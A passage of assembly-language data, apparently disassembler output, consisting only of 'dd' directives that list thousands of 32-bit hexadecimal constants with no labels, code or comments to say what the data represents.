		dd 0B7B19203h, 3EB7A6F3h, 0D89FEE28h, 0E7B870FFh, 8A609C7Eh
		dd 0EECFBF1Bh, 7CBFA46Fh, 22FB7DCEh, 0E90CD694h, 0F6B31E08h
		dd 9CBF275Ah, 8F578A79h, 109F9C08h, 0DD021D6h, 1B54B7A4h
		dd 4E18183Ch, 73E217DDh, 2F26E6B9h, 0BF50DA80h,	5CD137C6h
		dd 0CF540F41h, 0F7F1A8A4h, 0DD341C76h, 1E532EA3h, 647EA1A9h
		dd 2C1E143Bh, 0E883632Eh, 0E857FF65h, 0F83C0D87h, 0BD17A26Ah
		dd 18B6CAB7h, 0A603A997h, 0DBB8D506h, 0FA337660h, 1C976D2Bh
		dd 11E9578Bh, 208C745Dh, 4B611E24h, 6FB860B2h, 576B1A8Fh
		dd 3FCF1973h, 0B72B167Bh, 7220DDBh, 0D5DEE34Fh,	0D1BEF7C4h
		dd 8BBA9BBh, 4855ED69h,	39A695E4h, 1F067D0Ah, 82FF2641h
		dd 79302D19h, 5F14E70Fh, 0A0B0FDE3h, 17AEA57Ah,	87B36FC1h
		dd 3999BC80h, 914C4DFEh, 135637FDh, 9FECFC2Eh, 0CDDBCCEDh
		dd 31DFE525h, 0AAD069C8h, 0F8FA040Dh, 5020F1F2h, 0CA97A60Ah
		dd 0A439C414h, 0FB480577h, 0C122366Ah, 0CFC47ECEh, 0FEF1FF11h
		dd 1C22BB5Eh, 62F51A7Fh, 0F0C4FD6Ah, 802FA8D3h,	8938BF08h
		dd 9C2A0F11h, 0C53A3507h, 5199C7D0h, 72C3DEE0h,	115E9431h
		dd 0DDBFC645h, 0AAC91204h, 7B6495E3h, 0B2883517h, 32F615DDh
		dd 8CBB7AEAh, 0A1CD633Ch, 139B8BF0h, 16E4A553h,	0BDE4B4D7h
		dd 27B1AE7Ch, 0C95DD8B4h, 0B036FE0Ah, 0B527FED5h, 73061D20h
		dd 0FAC39163h, 821FCA8Ch, 0B3C15596h, 8C726DA3h, 83D46ADCh
		dd 3A9B393Bh, 758DB2CEh, 8F4BE602h, 0AA4E0AAh, 4A6FE325h
		dd 149A171Ah, 0A4B8893h, 6921472Dh, 6545A706h, 0B8AEA128h
		dd 2B5D6520h, 7B711A99h, 0D355F8BBh, 410EE57Dh,	71212991h
		dd 0B217CD77h, 0F7AA76D3h, 0D8321513h, 5ABFA7BFh, 0B5211C18h
		dd 43BC7B0Bh, 0A5894A69h, 71C544DFh, 0F52993C9h, 335E7C39h
		dd 1633B3EAh, 3AA9EEFBh, 0F3843CA9h, 5516378h, 2CCB2D36h
		dd 575E892Fh, 8E0CBA0h,	6E951C32h, 80C57795h, 0FC9CFBC7h
		dd 0A65C3EBCh, 1FE799A3h, 0FE299FCEh, 8FF90157h, 4F43C4ADh
		dd 15AACA7Fh, 0A6792C31h, 0E9F9B194h, 0FA5BDFD7h, 3F3DE36h
		dd 6393DAA1h, 1B2037FBh, 46BFFE24h, 422A097Ch, 0F6023CB4h
		dd 0C859FD55h, 0FE3BBE16h, 3DE2FCE0h, 0D07E615Eh, 2292FF73h
		dd 0DB9ABFE3h, 0B1DC38EEh, 29D485BDh, 0B5955875h, 0BDD50C20h
		dd 71E068E6h, 0F0B187C2h, 0FA123B36h, 5493E7A1h, 57E2D606h
		dd 0EE25002Ch, 2FC543C9h, 0D79EDD3Bh, 2BA05B66h, 9DCE2BBAh
		dd 6F7E1726h, 0E1E22350h, 7E2D1FABh, 1FA9F586h,	0F295F219h
		dd 99230A42h, 0AA440498h, 0C7E93427h, 3EDD7607h, 83AF241Eh
		dd 400BCC22h, 2B4E766Bh, 0E1562DDDh, 3FA557DAh,	9F5F12D4h
		dd 4B5B0107h, 2A28EC99h, 3C4439Ah, 8E83E758h, 2BBACFD7h
		dd 98E9035Bh, 0CD49DA22h, 0CDE96606h, 0F69CDF8Bh, 0EE31C129h
		dd 44040EAh, 0A79277C2h, 5CD31673h, 57258D79h, 39D31141h
		dd 72D15A6Ah, 0B089E4F9h, 418CAF79h, 0FC848A28h, 0B96FFB35h
		dd 0EE75CAE2h, 24ABEDBh, 2AD4FB83h, 9CB1FF3Ah, 1A7B9E9Ch
		dd 0B63D5B01h, 0DE300043h, 0CAF279A2h, 1AF5EDF5h, 978B5D25h
		dd 25F86265h, 0FAE0F5D3h, 12F0FFE6h, 0DCA5B14Ah, 9227EBDFh
		dd 0ECA841ECh, 94DC95F4h, 60471068h, 0E1B1F98Ch, 0E0648CFEh
		dd 823A39EAh, 0E1D9037Dh, 28E8A088h, 13C268Fh, 13545408h
		dd 0FFC3E535h, 0B754B80Bh, 0E8A8D212h, 7F148382h, 0A3CBBC44h
		dd 201D95DCh, 65EBA419h, 19512569h, 0AE9E23FBh,	76C631E4h
		dd 0D8FFA78Bh, 0BA61AF1Bh, 3173C98Eh, 61AB2E3h,	977F4638h
		dd 1DA658EAh, 0AEB5031Fh, 0ECA59CC0h, 8858A517h, 4FCDC8FCh
		dd 0B4017979h, 0B07DAFAEh, 0EE02505Ah, 62E6A272h, 3ECB14A1h
		dd 8B073A38h, 8565C733h, 0EF210544h, 5C2295BEh,	0FBF1ABD6h
		dd 1785A33Ah, 9E06F49Dh, 0CADA43Bh, 0FFFA45CDh,	0D9B9A458h
		dd 651774BEh, 299B07F8h, 0D46B7DE0h, 0DF83C8BFh, 0C2AD58F3h
		dd 0B0FFCA88h, 0D4A9E1E8h, 0A10F4A7h, 0D925F407h, 0D62A2119h
		dd 5201FEB7h, 0BA79FACFh, 3317FE05h, 0F934C8C7h, 0C7B5F7EEh
		dd 171A241Ah, 0F1DE8DA1h, 3375D340h, 4C16ED6Bh,	15D8DFE7h
		dd 0E14943A8h, 40D53390h, 590EF937h, 0FED55193h, 0FD1F917Ah
		dd 97F70BD6h, 7AD16192h, 858EADD1h, 9147011Eh, 491D3809h
		dd 8C70CFE3h, 1FF7AC75h, 6DB20CF0h, 0BBA88608h,	0C3878115h
		dd 8A8E15EDh, 74BF435Bh, 8121B5B7h, 10879283h, 0E7D89CD5h
		dd 620E78C4h, 0D86DE3B5h, 0A8760DA3h, 22F3EBDDh, 0E5F7AB18h
		dd 19B8082Ah, 672C690Bh, 318762D2h, 1D2E9A67h, 398EFEEAh
		dd 6C77EC49h, 8646AFFDh, 0CC80FF8Ah, 0EDFC8112h, 4A72E4B8h
		dd 0BDCDC524h, 1A28365Bh
		dd 8D518E37h, 0DBCE4515h, 99825EE4h, 1F2F4B62h,	3A0A46F5h
		dd 5E8273CCh, 1D257801h, 4D76BA17h, 0BF7FD8DAh,	7719680Bh
		dd 0FFE4A01Dh, 7A40396Fh, 96103941h, 86ABBDB3h,	40574FD4h
		dd 6502F329h, 0C2F06007h, 5F038FC8h, 0EBA0783Ch, 6C4C4D4Dh
		dd 0F49BF13Eh, 0A1A7DE08h, 35E50FD3h, 1F72571Eh, 91E1D323h
		dd 3AC8C279h, 0ACA8894Ch, 8E5936B8h, 0D01FF755h, 0AB5F37F5h
		dd 0D96A58h, 0D3EFA769h, 12CDE61h, 579BD3C5h, 0E54A5EFCh
		dd 0D1D48B0Bh, 80881CB9h, 4180B16Ah, 0CF0B526Ah, 17532011h
		dd 0B77B6046h, 1C8DAE85h, 97923548h, 76C1B77h, 24FA8CC9h
		dd 6C6A93E3h, 51669D2Bh, 660DA543h, 6AFAE36Ah, 38F2727Fh
		dd 90D43A5Ah, 0A53B8B50h, 53C7EDE7h, 0D4F3F171h, 59D2DF7Ch
		dd 67F19630h, 4ECD6A5Fh, 0FC074B91h, 4E5F7C21h,	778535D1h
		dd 70BF4FF5h, 950642CBh, 7C7A2BF8h, 74BC93C2h, 2C7B8760h
		dd 144A5BF9h, 2FB6CD18h, 0A74BD6FCh, 9EF78D2Eh,	55C6F43Fh
		dd 6E860FB8h, 6E3FF48Eh, 409247B0h, 2C896810h, 58DDD9B6h
		dd 9800E68Bh, 2510BFC9h, 48AAE04Dh, 5A9E3D08h, 27F8122Bh
		dd 0F9EB8EEFh, 0CEE984E6h, 0CB73C731h, 64813AB1h, 0B51D8603h
		dd 54A9FD2Dh, 0CAC60B31h, 10D1FFEFh, 528C54C8h,	33AE869Eh
		dd 7A429653h, 373AECF5h, 96E0D989h, 7B15A117h, 7D32911Ch
		dd 8AF4D51Fh, 15923BFCh, 52BA9F55h, 4E47D858h, 160E7B1Bh
		dd 0C064162Ah, 0EFE6C705h, 0A8C42E95h, 0E81055Dh, 627AA456h
		dd 31E08E88h, 6F197ECFh, 7F637E7h, 84E32FE5h, 0AF9EAFF7h
		dd 240626DDh, 0A8754248h, 82A6E94h, 6A48691Eh, 3BB15B35h
		dd 0ABB6420Bh, 0DB011C01h, 39CB9699h, 8E54967Ah, 0B894C32h
		dd 69419E6Ah, 1A7F6BFAh, 65EC862Eh, 3EC4F0EAh, 0A4174BDDh
		dd 0EBD1470Fh, 0E4C1EB3h, 0B49986B8h, 0F872B9B9h, 30906050h
		dd 9FC21665h, 0B910DA21h, 0DFBAC022h, 16AE6643h, 0B30D93E7h
		dd 4E1E6A2Eh, 969D464Eh, 52B31DC9h, 0BF33C148h,	869CEF83h
		dd 0E1DB4F21h, 315C3EE5h, 90055349h, 0A65E6CE7h, 0EF006686h
		dd 77136D0h, 850BCA6Dh,	0E57FC602h, 0A9631C17h,	5BC8475Ch
		dd 0F8CE192Fh, 8794EEAFh, 0D10CA9C6h, 0C911FA56h, 7D9CE68Ch
		dd 5209974Ah, 9C7EB546h, 41B5556Dh, 0F6C6407h, 0F8F6DDDCh
		dd 0E781455h, 761D0493h, 75AF8849h, 98EDD2D6h, 0BE3AEEADh
		dd 3C0A0E83h, 0D55BE3F3h, 7952996Bh, 8AE738A0h,	0FF04D2CDh
		dd 0E6DC93B2h, 28D7A8EEh, 0ECEB550Ah, 0F4F80B35h, 0F7E05C01h
		dd 0B7ADE3EFh, 8ADA77D8h, 75FB2F56h, 73DC5E96h,	0C302A199h
		dd 0BEC8EE9Dh, 7DFAAEBFh, 3DAB66C5h, 0CA71345Ah, 3D51DED7h
		dd 0EBF29BBBh, 9CCF49E2h, 4949DEA5h, 0F7768CDCh, 8C20E3Ch
		dd 0F519E82Ch, 0E44FC868h, 52417CD4h, 46D428F3h, 514D4319h
		dd 0D84C0DCFh, 0AE9C0411h, 8E346DF5h, 0FB87529Fh, 52F2E4DDh
		dd 0DE36EEA1h, 0A3FB55D3h, 7FD08A28h, 3840D388h, 5850B4Bh
		dd 1911DFEBh, 3F104C0Ch, 402F0597h, 9E85A5C7h, 9E33E46Fh
		dd 1046199Eh, 0FBEF90Dh, 95C805B4h, 0FB6D3C3h, 802C3375h
		dd 973230FCh, 0E46173ABh, 0CFC11049h, 0BE171CD2h, 0F98DE80Fh
		dd 7E960B3Dh, 6B0CB7F7h, 69267682h, 0BE51D0CAh,	0D62A7C6Bh
		dd 1F6F70A1h, 847067E4h, 3E07E459h, 31E96B7Dh, 13D34090h
		dd 8940A81h, 0D7676618h, 7F739B1h, 0F48AB017h, 291FE4F3h
		dd 5DC58C92h, 0E5061496h, 0A30283E8h, 0E5EE708Ah, 0A044575Ch
		dd 9E51891Ah, 0AB77F411h, 0F735751Ch, 95C1C9EDh, 69D8DB83h
		dd 117FCD74h, 0A744701Ah, 529F27A9h, 0E75A4199h, 9E6C03B7h
		dd 828060A7h, 0BF234915h, 7F543C93h, 0BA6426BFh, 25971F17h
		dd 126FE5E2h, 82DE498Eh, 0F72E6EB4h, 0FD938A28h, 761D1434h
		dd 33460307h, 0D8043763h, 64C1DC5Dh, 929AA3F4h,	62B41EA7h
		dd 765F2791h, 6AB77D45h, 0CD60E00Bh, 0B022268h,	6B7E5E17h
		dd 246748F2h, 617D8816h, 3DCEB18Bh, 6117836Ah, 0A0F79DBCh
		dd 0A0C6116Ch, 0DAB7E71Bh, 643BE3AAh, 0E927F59Ah, 8ACCE536h
		dd 4D8888C5h, 39399B1Ah, 0A86C4DC5h, 3847D9F0h,	0F1999C3Dh
		dd 1C14C272h, 341D112Dh, 502E6018h, 14388D21h, 0E8B65C8Eh
		dd 54097662h, 25A7B2F2h, 0F22A901Bh, 4FA04BEDh,	58B77682h
		dd 5B3DB85Eh, 7EA9396Ch, 52B096E4h, 366D748Fh, 609FC637h
		dd 7CD73DAFh, 0D2D0664h, 323A5144h, 0D5ECCE8h, 0E6BBABC2h
		dd 0C1855E4Dh, 0D77720ABh, 0B7BA0969h, 382757FAh, 39D3055Fh
		dd 0BBA18358h, 319DFDF1h, 135D7E06h, 9DD866B6h,	844EACFCh
		dd 0C526C8FAh, 1CA03C27h, 31D2026Ch, 369245C2h,	0F22266B3h
		dd 0DD4CEC39h, 0F2C9E9DFh, 1FFA928Bh, 96009EF7h, 1147B9E8h
		dd 0E3FBAD40h, 0A866C093h, 0D7D4AFE4h, 0FB871DA1h, 569C85A2h
		dd 92D5FFB7h, 0B360AD5Bh, 0C321D887h, 52FBFE55h, 0BF737D69h
		dd 0ED000FAFh, 0F25ED127h, 90731750h, 0CAC85258h, 66802C54h
		dd 0D43DDF8Eh, 31EA1F3Ch, 0FC26749Dh, 5BC26BFBh, 0F07C7A92h
		dd 923A92B1h, 3B94CA37h, 0BCA55309h, 0CAC6A17Dh, 324CED7Ah
		dd 94B1957h, 11E803C3h,	6C56C941h, 0A094E788h, 1FA44307h
		dd 0B79671EDh, 47BAEEF2h, 0D832ECCh, 6C5E8725h,	0CCB6453h
		dd 0E0907A18h, 4D13C4E1h, 455257D1h, 0BD09136Dh, 0D5221533h
		dd 74EC6962h, 7466ED4Eh, 0B201CB15h, 8BDF17CEh,	7729718Bh
		dd 57C05BA2h, 8918E83h,	3C447E04h, 6DDD5D88h, 0F5D12E5h
		dd 1F7D1FFFh, 15C047A5h, 0FC183C0Ch, 9289D1D6h,	4D1C0282h
		dd 0E448782Ch, 129984FCh, 114D156Ch, 21A3117Ch,	0E295411h
		dd 0AB701EB6h, 0DF850D3h, 0A95DCFDCh, 0DB7303B6h, 0B3B53F0Eh
		dd 24446BA5h, 81E6F5D3h, 0EB5C3D8Bh, 8AB9B9EDh,	0C6ADCEF1h
		dd 83AEE8C9h, 72C8A285h, 8B955A9Ch, 5B51C872h, 73D956AFh
		dd 9E6515EBh, 6515DE60h, 74DEFB04h, 0D9A4C87Dh,	0AF6E7CAh
		dd 0D4FF6F3Fh, 0D76CDCDEh, 0F6E68526h, 0D3AD5E36h, 65F9F48Ah
		dd 699823F8h, 691CEFB1h, 0CF719199h, 936183F1h,	2B4723CBh
		dd 1D879D9Dh, 423054A1h, 34570868h, 0AF55037Ah,	55BAC8D8h
		dd 0E7281E1h, 76D6E246h, 3EFE99DDh, 95ABAD85h, 0A3925A18h
		dd 0CE0AF509h, 351657F7h, 6639220Ah, 0CD76DB4Dh, 99AF3AD7h
		dd 71D0EA65h, 5BC5372Dh, 0BAC3D865h, 4C56EBC2h,	5CF81AC0h
		dd 6A5FA909h, 16A0196h,	0E617742Ah, 0B32A6Bh, 61D1794Ah
		dd 0E85A6F05h, 0D9B3BED0h, 71934CFAh, 0A73AA52Dh, 0C7DF5FEBh
		dd 0C71211C6h, 2AAD2A6Bh, 0CF4B376h, 675C42CFh,	309C69A7h
		dd 5F6F8CA7h, 0A2F15C25h, 0D972BFD4h, 255FA6B0h, 6B8C8A55h
		dd 5650B1E7h, 6F97F561h, 0D433ED21h, 5865133Eh,	20C5B84Dh
		dd 0F1D3D1D5h, 0EEE48EDDh, 0DBD3FC56h, 6EBB3467h, 32EB9957h
		dd 631F2CCDh, 1697FDFh,	68A5548Ah, 8D69B54Bh, 4D2ABB06h
		dd 6208079h, 3EC44D81h,	6BC8E1CDh, 0EB09AE05h, 8DC6CD53h
		dd 16D9EA4Ah, 0BF78B651h, 0E8322158h, 44B64FC5h, 885FF1F7h
		dd 87A189E9h, 7DEB533h,	20CB2C8Bh, 395F13D2h, 0F9FDC70Eh
		dd 726FC1DEh, 0E40FEE77h, 0C762699Ch, 3A611E4Ah, 3835ABDFh
		dd 0E9294585h, 2FAFAE42h, 128C7B98h, 9DCCBDD4h,	3EBBE599h
		dd 1A40189Dh, 533AF33Dh, 4E292E59h, 7ABFBA28h, 0D39C3B69h
		dd 0BEC0B94Ah, 0ADB3DFD8h, 7A335CABh, 77B2A715h, 1AF57201h
		dd 0B9B88D90h, 0B005982h, 8B48B0BEh, 92D2D8C2h,	4385CE74h
		dd 0DD7799h, 3603BC93h
		dd 750B9B2Dh, 0D669246Ch, 9DF0FA0Fh, 2D301FB4h,	33F063A0h
		dd 6A38EBEFh, 0F52B0E37h, 0DB068C38h, 0BB786885h, 44D147B8h
		dd 0D5BA33A9h, 0E9B4E485h, 5D68B6CBh, 0BB1C6E04h, 0FCA95054h
		dd 5459CF69h, 0C92E13BEh, 59CF5A33h, 6CB4960Bh,	42E65E96h
		dd 62FBC907h, 648064C0h, 0F4B80F2Fh, 1B7FAF37h,	5D1393F2h
		dd 0A0C28AB1h, 0F4AB4F6Ah, 435155C1h, 1C240349h, 0FF2B6C95h
		dd 0C942D2F6h, 97A071E8h, 23D1CD1Ah, 543A3736h,	2AA84AF0h
		dd 177646B6h, 830CB4D2h, 308860E2h, 0EC6DFD9Ah,	40FB83CBh
		dd 0E3F81BCAh, 5DBC6BB8h, 2D80CE24h, 56EAB702h,	2BBB0186h
		dd 0FF895434h, 0FEE4594h, 35858601h, 5EC66B9Ah,	49F4B4BFh
		dd 8FE2C5F1h, 0B9937B3Ch, 0A264438Ah, 820FF0FBh, 0BB8AFD5h
		dd 0C0E0E662h, 392309A7h, 0E3050460h, 3AAB461h,	9DAA9AEDh
		dd 9B2C2B31h, 1363DD64h, 0BDEE9518h, 7DAB4883h,	0FD501639h
		dd 1A7E1272h, 0CB5DE081h, 986EBD18h, 0D47A18A7h, 313509AEh
		dd 550BF3FBh, 0D0385913h, 6A970B9Ch, 7EEB7E7Dh,	4C56A4FCh
		dd 0F1EBA4E2h, 1B4E2FEAh, 610F3647h, 0FAD8CAF0h, 77B75ACAh
		dd 256F22F4h, 3F02CC58h, 4E75050Dh, 0C1D0E587h,	2E4BF4D2h
		dd 0B828B4F4h, 0CFA49954h, 8933FEAFh, 3CF73F7Ah, 0C5F95A97h
		dd 8AFB4549h, 1D789A29h, 0C0C62193h, 0DD895B85h, 7251D351h
		dd 0D238434Bh, 93137E2Dh, 0E6034A94h, 4A8E5E5Eh, 0CB4452BCh
		dd 79D0B479h, 0A5AD9020h, 0A3220C48h, 35A60E54h, 97A92398h
		dd 6DF91CCBh, 1C94E220h, 13CC67ABh, 5BB3D37Fh, 7FE13727h
		dd 0CDBA4749h, 97B3F4A5h, 6483DAAEh, 2F4BD3Dh, 0F114654h
		dd 0BB8697CFh, 585FFC8Dh, 79CCC224h, 78EA5B78h,	0A545B05Bh
		dd 38581F0h, 30EDB019h,	0EB092B48h, 958468DAh, 4F0031F3h
		dd 0CAD80CA9h, 76174ECAh, 0A88D7C7Dh, 7D238868h, 955DDEBDh
		dd 0C014FADBh, 1DFA536Eh, 62708048h, 767019C1h,	0DB794C0Dh
		dd 0F8F44D7Ah, 4F785E1Bh, 3E416FA6h, 3135D92h, 175C6A3Eh
		dd 68541CAh, 896F7F5Ch,	0E95CCBE7h, 0D9060F3Bh,	2A01A4D8h
		dd 88B2D404h, 0DA939F9Dh, 66EED178h, 0AA2CC7C4h, 81119E20h
		dd 45973462h, 81F1F642h, 0DBE3B799h, 0FA70F654h, 82277BF8h
		dd 0BE268D07h, 0D6324DFh, 5AC4E542h, 93FCFC2Dh,	32257ED2h
		dd 8607021Bh, 0EF780FFh, 9E2EA583h, 9E1E1063h, 0E7FB7AF7h
		dd 0A3525A6Ch, 28D4930Dh, 847B6FA5h, 0B6F47E1Dh, 0B4404628h
		dd 0B2594453h, 93B5C140h, 55841801h, 0ACC5AD36h, 6C008FFEh
		dd 297A0810h, 72D465F3h, 0BAA5FBE7h, 0BDDD8020h, 0BE867D05h
		dd 8F84812Ah, 30BF7972h, 0A3C7D079h, 0C114802Ch, 356003CCh
		dd 0C2557B10h, 0CF3B196Dh, 75D430A6h, 0E1D172D1h, 20214FE0h
		dd 0D3F5FA40h, 80FED97Dh, 0A4E1BE6Dh, 16C0538Fh, 7E8A185Eh
		dd 65A6A046h, 0C1CB211Bh, 7A815F72h, 0FC0A06CBh, 0A46F813Bh
		dd 6D7D0D4h, 0EF623113h, 6094DA77h, 0B895934Bh,	59642149h
		dd 8065B492h, 0BF9E4722h, 63F31D3Eh, 0A9C31DDEh, 760BE915h
		dd 566BFF32h, 594DD7C4h, 1092F97Dh, 66C545EBh, 2FE83B31h
		dd 0F823BC2Ch, 8D79B00Ch, 0EB5E5FE6h, 7BD8C97Ch, 5BF22F98h
		dd 0B2808D90h, 45C77A43h, 33014D4Bh, 87097AA7h,	2ECF23CBh
		dd 5EB0D6EFh, 0FB9A41D7h, 0FDD9381Eh, 7F6AB557h, 0E89C0D1Bh
		dd 0F4D5A101h, 6FA33425h, 80C8FFE2h, 718D085h, 3E5ACC72h
		dd 83BF0EFAh, 0E3D4BC7Eh, 4F6B8B5h, 3EC7941Ch, 0B7D6CC3Bh
		dd 0AAA294D3h, 0AFE2509Dh, 0C962EFF7h, 2DC2DC14h, 7EA65F4Dh
		dd 0EF09E52Dh, 0DA3D2914h, 89567D08h, 33FFE5AEh, 0A366AD16h
		dd 4772ECA2h, 4B17D5EFh, 7AF5636h, 0FCC1F2DDh, 32B6093Eh
		dd 0A9B42604h, 922352B0h, 1046F6D7h, 93ADF9A5h,	1BADF2C9h
		dd 49BCD22Bh, 69149AFh,	91758626h, 793C95DFh, 9F2C8A9Bh
		dd 4DD03DFEh, 9C6DBEAFh, 0D5A26DE0h, 2656DBF9h,	1A7B92AFh
		dd 5E82FA7Ch, 8C27DDD4h, 0D8AD1D22h, 7892415Bh,	53B31846h
		dd 78EE9E90h, 55AD0731h, 0EFE57C5Dh, 211EE21Bh,	2C2FEFD3h
		dd 6B53A0C5h, 9641B457h, 0D013D852h, 4EEBD09Ah,	8FB1B9BAh
		dd 1DCAF684h, 0E4C310B1h, 40FF09BAh, 2FE6A09Eh,	4110CC98h
		dd 0E8E3F5E6h, 67445F59h, 72CE1B68h, 0FAE494CCh, 9B8595C2h
		dd 0B713F973h, 7E304715h, 0AFD7521Eh, 80E053B4h, 77046E09h
		dd 0F5885C38h, 82260E1Bh, 0EAF91549h, 0E1E0656h, 92CEDC51h
		dd 4BB67F44h, 2749B1F4h, 0DCD44071h, 3E92F222h,	83E80039h
		dd 2954F8BEh, 1C647665h, 0B6CA282Ch, 0F276F882h, 539A9E7Bh
		dd 9EAD63D4h, 3FB612B3h, 0D9A8A71Dh, 0DEC97236h, 77722452h
		dd 9C226DFBh, 69801165h, 91BE5E87h, 0EEBC27ADh,	0DAA36925h
		dd 5EE9A7C4h, 2CE0CE64h, 0D2D99716h, 0D573EBD4h, 5B7AE664h
		dd 0B4AF32C1h, 0E911BC4Bh, 7A84D16Fh, 0E24D0588h, 60AD623h
		dd 3CB5303Ch, 1B47C10Eh, 0DEC559F5h, 8F45BD13h,	38F57833h
		dd 0E40F89EAh, 7125F4ADh, 562A6E6h, 4CC4CEF2h, 0ACC4486Ah
		dd 0D1FED085h, 838C192h, 0EA2C09ADh, 0DBF29C33h, 0F5FB1022h
		dd 0A661B1F5h, 0DFB9CE52h, 0E8782D7Ah, 9CFF5D57h, 0EFCD1E6Ah
		dd 0FEF01846h, 0ED93250Dh, 1151DBF3h, 0B7C88FECh, 7BC16FD7h
		dd 4556E2F6h, 0E848D2D7h, 940AA7A0h, 49291498h,	72E3C4C5h
		dd 4BF86CB5h, 9AAF9E1Ch, 9B3B5397h, 0C8A643EEh,	5A8CCA23h
		dd 4AD9139Ah, 0E0CE7A4Bh, 0AD8549C8h, 558764FDh, 388F37F7h
		dd 6EB78AAh, 0B6785584h, 16A059B9h, 0A86B6ED9h,	3BA1E3D2h
		dd 0D6A221DEh, 96909548h, 9769F3C0h, 0D572BADFh, 6B40C9BCh
		dd 0DF9E6201h, 5B894F61h, 9C76A63Ch, 48169E03h,	969A13C1h
		dd 1D479BB4h, 0DA0DF1B7h, 0E478690Bh, 826A0EEFh, 42D3C6E2h
		dd 8E3A48C2h, 53EC8C1Fh, 175E155Ch, 19F93E16h, 0A6E7C56Ah
		dd 501FCD5Ch, 545FDE74h, 0D30011Ch, 974F945Dh, 11800367h
		dd 23D85E0h, 59C2B799h,	4B466637h, 519933ADh, 19B665C4h
		dd 1634252Ah, 0BD471769h, 4CE71436h, 25B3F74h, 0B426A480h
		dd 0E53F6986h, 0D61BFBA6h, 0C0A3B3C6h, 0D6D4ED3Dh, 919CE8EBh
		dd 0B665C5Bh, 7E1C2ABCh, 53E5AC9Dh, 258B2985h, 5C4BCD25h
		dd 5D8C7531h, 37ED1179h, 3A05EEF4h, 4D7B9064h, 8E4F01DFh
		dd 0AD1730BEh, 0ADCC1713h, 6D8AB3C4h, 0A5E5EFF3h, 0B8383A7Dh
		dd 27BA7150h, 61954D6h,	2ADDAD52h, 619243BCh, 0A9001E81h
		dd 6B93F999h, 6871D4ACh, 89E4D58Bh, 94C52BD6h, 6D97B9CCh
		dd 0D349399Bh, 2E2BA544h, 0C5434156h, 847F0FE3h, 0CCF20357h
		dd 62231E4h, 6F4DB575h,	97D60C3Ch, 3D087694h, 0C8ADA48Ah
		dd 60997783h, 0EFC6B0F2h, 0D202537Dh, 3D3DF1A1h, 0F774F76Dh
		dd 0A6591506h, 0B7F1C436h, 698B756Bh, 0CD7F79Eh, 0EDD447E5h
		dd 79B8AF5Eh, 95EBED81h, 7CDBF23Bh, 994FC684h, 807931E5h
		dd 0C5BAEA68h, 213CCFF8h, 0A3680C9h, 38C5B9BBh,	8A945166h
		dd 6C967F2Ah, 2FD70B91h, 46478F55h, 1BC48AB8h, 7820AF96h
		dd 5280E6BCh, 1EC17432h, 0D483858Fh, 1098D4BCh,	0C3360CF3h
		dd 0E44E4A97h, 8FE61E89h, 4AAAC3E9h, 10FFD6EAh,	8AD8E192h
		dd 0A6150447h, 4CDED7B5h, 0A63D4F4Ch, 44D0D72Ch, 1A65C2F3h
		dd 8B2235EFh, 5929AD83h, 5D980586h, 0BFF24780h,	14059C7h
		dd 619E014Dh, 7A057CF3h, 43BEA574h, 96303E6Eh, 0F47424DFh
		dd 45385B27h, 9425AAB5h, 164B4F3Fh, 64028FD5h, 0B8C2113Fh
		dd 1B54C76Fh, 1761627Fh
		dd 24E6F728h, 43B41C75h, 0D4184902h, 210D908Bh,	0CB6B5C9Eh
		dd 6952B8B6h, 0C8AD1D4Bh, 68D17E9Ah, 673AF644h,	478E173Ch
		dd 18E63C51h, 54CA9129h, 6BED4E70h, 8C262A63h, 1CA1C6C7h
		dd 27AB0A26h, 5DFD6193h, 0BD60E110h, 3AA23FF2h,	0E546961Ah
		dd 31141320h, 3FC507F7h, 0FC8268A8h, 8B768B2Ah,	0C5E890BBh
		dd 37FF13DAh, 95BAF04h,	0B1166D03h, 45777C51h, 1E965E4Bh
		dd 0F76C91BBh, 0E114594Fh, 0E73DF659h, 392FB35h, 0D919578Ah
		dd 0FE0591F5h, 0D4160BF9h, 5BBC1CC7h, 31730324h, 69BD67F6h
		dd 32147861h, 2F192B9Ah, 35130E25h, 0D1452E92h,	2D4FED5Dh
		dd 0F1A10C78h, 8B210736h, 19A46CAh, 9F7A8BCh, 6E41ABE4h
		dd 7483BD93h, 86AAD640h, 8343FED5h, 0C555E096h,	0AAD38B06h
		dd 6ED014DAh, 9A881D13h, 20983C17h, 0B1EBB44Bh,	0BE3C1BD8h
		dd 6246AE49h, 0A3052D77h, 0C2429624h, 9C0CA512h, 953DE823h
		dd 0B2933D6Ch, 1954FBD3h, 1F62545Fh, 0D54F5544h, 693449BAh
		dd 9D1DB21Eh, 0A3A318B4h, 7E64A54Fh, 0D275BE55h, 0EF711CE6h
		dd 82607936h, 0DCD06544h, 0FDD4BA8Bh, 26506628h, 66B57BD8h
		dd 66A4970Fh, 0EA7D5FB7h, 0B342F013h, 0B4266BD6h, 15BD542Dh
		dd 1BF4063Fh, 58798EA6h, 0BF7A569Bh, 9B5055C7h,	0CF5C7C05h
		dd 0A732C9C1h, 92392955h, 0DD840861h, 17B0FB84h, 8AF4EBD6h
		dd 0EBEB733Ch, 0FB18E4E9h, 0ECC2896h, 69125899h, 88F8001Ah
		dd 10E3125Bh, 1D73AD7Bh, 7627FC3Dh, 0A74F8027h,	2EEB68D9h
		dd 38104140h, 2C32D76h,	0B3497D5Bh, 0AC652B6Ch,	78A7E234h
		dd 0EF690031h, 0F5EC3721h, 0AD6A7576h, 73760A67h, 70AD0DDFh
		dd 0C3C0B0F2h, 0CDB8E24Bh, 0B177B551h, 0B93DA9A8h, 0CC17E62Eh
		dd 0B579A712h, 30731AD8h, 82971B8Fh, 45CCEEBDh,	6D572503h
		dd 8517E1A9h, 0D65CD3B6h, 0CA99C732h, 0AF025D43h, 0E387F16Dh
		dd 87C4C890h, 3AF20242h, 6F7A7CD2h, 2925B789h, 0D7633725h
		dd 0BC072BF8h, 0C80402Fh, 0FBB3D226h, 1288E34Fh, 0F5BA8402h
		dd 27AAF103h, 9E8907FBh, 511ADC2Fh, 79BC06DEh, 1241889Eh
		dd 8CCAE680h, 1EAB04A8h, 21B881Dh, 0A3877EB2h, 0C1E6D91Fh
		dd 0C369D0E8h, 0B68806Fh, 0DEC990FCh, 6C76B110h, 0E68C4CB3h
		dd 2D558457h, 814E93F0h, 72D08CDAh, 0AD66C89h, 52A8C595h
		dd 3A6472EAh, 0D48121F9h, 4D9379B8h, 11B4DEE4h,	0FF28F37h
		dd 7F99922Dh, 0F2A9A081h, 5DD70C35h, 0D0A18F2Bh, 29DCC62Bh
